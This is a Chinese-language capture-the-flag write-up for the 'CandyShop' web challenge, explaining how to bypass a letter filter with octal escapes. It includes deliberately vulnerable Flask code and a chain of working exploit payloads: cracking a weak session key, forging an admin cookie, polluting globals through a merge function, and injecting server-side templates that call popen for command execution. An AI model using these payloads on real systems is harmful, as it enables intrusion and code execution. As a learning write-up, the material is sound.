京津冀 长城杯 CandyShop

Bypass 字母限制

Python中可以通过\163来表示一个字母

贴一个转换的脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
exp = "''.__class__"  
dicc = []  
exploit = ""  
for i in range(256):  
    eval("dicc.append('{}')".format("\\"+str(i)))  
print(dicc)  
for i in exp:  
    exploit += "\\\\"+ str(dicc.index(i))  
  
print(exploit)  

启一个flask demo

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
from flask import Flask,request,render_template_string  
app = Flask(__name__)  
  
@app.route('/', methods=['GET', 'POST'])  
def index():  
    name = request.args.get('name')  
    template = '''  
<html>  
  <head>  
    <title>SSTI</title>  
  </head>  
 <body>  
      <h3>Hello, %s !</h3>  
  </body>  
</html>  
        '''% (name)  
    return render_template_string(template)  
if __name__ == "__main__":  
    app.run(host="0.0.0.0", port=5000, debug=True)  

构造一个完整的payload

1
2
3
{{"".__class__.__bases__[0].__subclasses__()[138].__init__.__globals__['popen']('cat /flag').read()}}  
  
{{""['\137\137\143\154\141\163\163\137\137']['\137\137\142\141\163\145\163\137\137'][0]['\137\137\163\165\142\143\154\141\163\163\145\163\137\137']()[132]['\137\137\151\156\151\164\137\137']['\137\137\147\154\157\142\141\154\163\137\137']['\160\157\160\145\156']('\167\150\157\141\155\151')['\162\145\141\144']()}}  

CandyShop

了解了这个之后,再来看代码

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
import datetime  
from flask import Flask, render_template, render_template_string, request, redirect, url_for, session, make_response  
from wtforms import StringField, PasswordField, SubmitField  
from wtforms.validators import DataRequired, Length  
from flask_wtf import FlaskForm  
import re  
  
  
app = Flask(__name__)  
  
app.config['SECRET_KEY'] = 'a123456'  
  
class RegistrationForm(FlaskForm):  
    username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)])  
    password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)])  
    submit = SubmitField('Register')  
      
class LoginForm(FlaskForm):  
    username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)])  
    password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)])  
    submit = SubmitField('Login')  
  
class Candy:  
    def __init__(self, name, image):  
        self.name = name  
        self.image = image  
  
class User:  
    def __init__(self, username, password):  
        self.username = username  
        self.password = password  
  
    def verify_password(self, username, password):  
        return (self.username==username) & (self.password==password)  
class Admin:  
    def __init__(self):  
        self.username = ""  
        self.identity = ""  
  
def sanitize_inventory_sold(value):  
    return re.sub(r'[a-zA-Z_]', '', str(value))  
def merge(src, dst):  
    for k, v in src.items():  
        if hasattr(dst, '__getitem__'):  
            if dst.get(k) and type(v) == dict:  
                merge(v, dst.get(k))  
            else:  
                dst[k] = v  
        elif hasattr(dst, k) and type(v) == dict:  
            merge(v, getattr(dst, k))  
        else:  
            setattr(dst, k, v)  
  
candies = [Candy(name="Lollipop", image="images/candy1.jpg"),  
    Candy(name="Chocolate Bar", image="images/candy2.jpg"),  
    Candy(name="Gummy Bears", image="images/candy3.jpg")  
]  
users = []  
admin_user = []  
@app.route('/register', methods=['GET', 'POST'])  
def register():  
    form = RegistrationForm()  
    if form.validate_on_submit():  
        user = User(username=form.username.data, password=form.password.data)  
        users.append(user)  
        return redirect(url_for('login'))  
      
    return render_template('register.html', form=form)  
  
@app.route('/login', methods=['GET', 'POST'])  
def login():  
    form = LoginForm()  
    if form.validate_on_submit():  
        for u in users:  
            if u.verify_password(form.username.data, form.password.data):  
                session['username'] = form.username.data  
                session['identity'] = "guest"  
                return redirect(url_for('home'))  
      
    return render_template('login.html', form=form)  
  
inventory = 500  
sold = 0  
@app.route('/home', methods=['GET', 'POST'])  
def home():  
    global inventory, sold  
    message = None  
    username = session.get('username')  
    identity = session.get('identity')  
  
    if not username:  
        return redirect(url_for('register'))  
      
    if sold >= 10 and sold < 500:  
        sold = 0  
        inventory = 500  
        message = "But you have bought too many candies!"  
        return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)  
  
    if request.method == 'POST':  
        action = request.form.get('action')  
        if action == "buy_candy":  
            if inventory > 0:  
                inventory -= 3  
                sold += 3  
            if inventory == 0:  
                message = "All candies are sold out!"  
            if sold >= 500:  
                with open('secret.txt', 'r') as file:  
                    message = file.read()  
  
    return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)  
  
  
@app.route('/admin', methods=['GET', 'POST'])  
def admin():  
    username = session.get('username')  
    identity = session.get('identity')  
    if not username or identity != 'admin':  
        return redirect(url_for('register'))  
    admin = Admin()  
    merge(session,admin)  
    admin_user.append(admin)  
    return render_template('admin.html', view='index')  
  
@app.route('/admin/view_candies', methods=['GET', 'POST'])  
def view_candies():  
    username = session.get('username')  
    identity = session.get('identity')  
    if not username or identity != 'admin':  
        return redirect(url_for('register'))  
    return render_template('admin.html', view='candies', candies=candies)  
  
@app.route('/admin/add_candy', methods=['GET', 'POST'])  
def add_candy():  
    username = session.get('username')  
    identity = session.get('identity')  
    if not username or identity != 'admin':  
        return redirect(url_for('register'))  
    candy_name = request.form.get('name')  
    candy_image = request.form.get('image')  
    if candy_name and candy_image:  
        new_candy = Candy(name=candy_name, image=candy_image)  
        candies.append(new_candy)  
    return render_template('admin.html', view='add_candy')  
  
@app.route('/admin/view_inventory', methods=['GET', 'POST'])  
def view_inventory():  
    username = session.get('username')  
    identity = session.get('identity')  
    if not username or identity != 'admin':  
        return redirect(url_for('register'))  
    inventory_value = sanitize_inventory_sold(inventory)  
    sold_value = sanitize_inventory_sold(sold)  
    return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value)  
  
@app.route('/admin/add_inventory', methods=['GET', 'POST'])  
def add_inventory():  
    global inventory  
    username = session.get('username')  
    identity = session.get('identity')  
    if not username or identity != 'admin':  
        return redirect(url_for('register'))  
    if request.form.get('add'):  
        num = request.form.get('add')  
        inventory += int(num)  
    return render_template('admin.html', view='add_inventory')  
  
@app.route('/')  
def index():  
    return render_template('index.html')  
  
if __name__ == '__main__':  
    app.run(debug=False, host='0.0.0.0', port=1337)  

通读一遍,通过flask-unsign爆破得到secret keya123456,本地复现时需要设置一下
通过/admin处,可以造成Python原形链污染

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
@app.route('/admin', methods=['GET', 'POST'])  
def admin():  
    username = session.get('username')  
    identity = session.get('identity')  
    if not username or identity != 'admin':  
        return redirect(url_for('register'))  
    admin = Admin()  
    merge(session,admin)  
    admin_user.append(admin)  
    return render_template('admin.html', view='index')  

构造payload来进行绕过权限认证
{'identity': 'admin', 'username': 'admin'}
接着在/admin/view_inventory处存在SSTI,而绕过字母限制,正是上面所讲的内容
直接构造payload

1
{'identity': 'admin', 'username': 'admin','__init__':{'__globals__':{'sold':'{{\'\'[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\142\\141\\163\\145\\163\\137\\137\'][0][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[132][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\160\\157\\160\\145\\156\'](\'\\167\\150\\157\\141\\155\\151\')[\'\\162\\145\\141\\144\']()}}'}}}  

因为在终端执行的flask-unsign --sign,并且利用了双引号包裹,所以还需加\\才能转义\\,最终payload

1
2
3
{'identity': 'admin', 'username': 'admin','__init__':{'__globals__':{'sold':'{{\'\'[\'\\\\137\\\\137\\\\143\\\\154\\\\141\\\\163\\\\163\\\\137\\\\137\'][\'\\\\137\\\\137\\\\142\\\\141\\\\163\\\\145\\\\163\\\\137\\\\137\'][0][\'\\\\137\\\\137\\\\163\\\\165\\\\142\\\\143\\\\154\\\\141\\\\163\\\\163\\\\145\\\\163\\\\137\\\\137\']()[132][\'\\\\137\\\\137\\\\151\\\\156\\\\151\\\\164\\\\137\\\\137\'][\'\\\\137\\\\137\\\\147\\\\154\\\\157\\\\142\\\\141\\\\154\\\\163\\\\137\\\\137\'][\'\\\\160\\\\157\\\\160\\\\145\\\\156\'](\'\\\\167\\\\150\\\\157\\\\141\\\\155\\\\151\')[\'\\\\162\\\\145\\\\141\\\\144\']()}}'}}}  
  
flask-unsign --sign --cookie "{'identity': 'admin', 'username': 'admin','__init__':{'__globals__':{'sold':'{{\'\'[\'\\\\137\\\\137\\\\143\\\\154\\\\141\\\\163\\\\163\\\\137\\\\137\'][\'\\\\137\\\\137\\\\142\\\\141\\\\163\\\\145\\\\163\\\\137\\\\137\'][0][\'\\\\137\\\\137\\\\163\\\\165\\\\142\\\\143\\\\154\\\\141\\\\163\\\\163\\\\145\\\\163\\\\137\\\\137\']()[132][\'\\\\137\\\\137\\\\151\\\\156\\\\151\\\\164\\\\137\\\\137\'][\'\\\\137\\\\137\\\\147\\\\154\\\\157\\\\142\\\\141\\\\154\\\\163\\\\137\\\\137\'][\'\\\\160\\\\157\\\\160\\\\145\\\\156\'](\'\\\\167\\\\150\\\\157\\\\141\\\\155\\\\151\')[\'\\\\162\\\\145\\\\141\\\\144\']()}}'}}}" --secret 'a123456'  

0%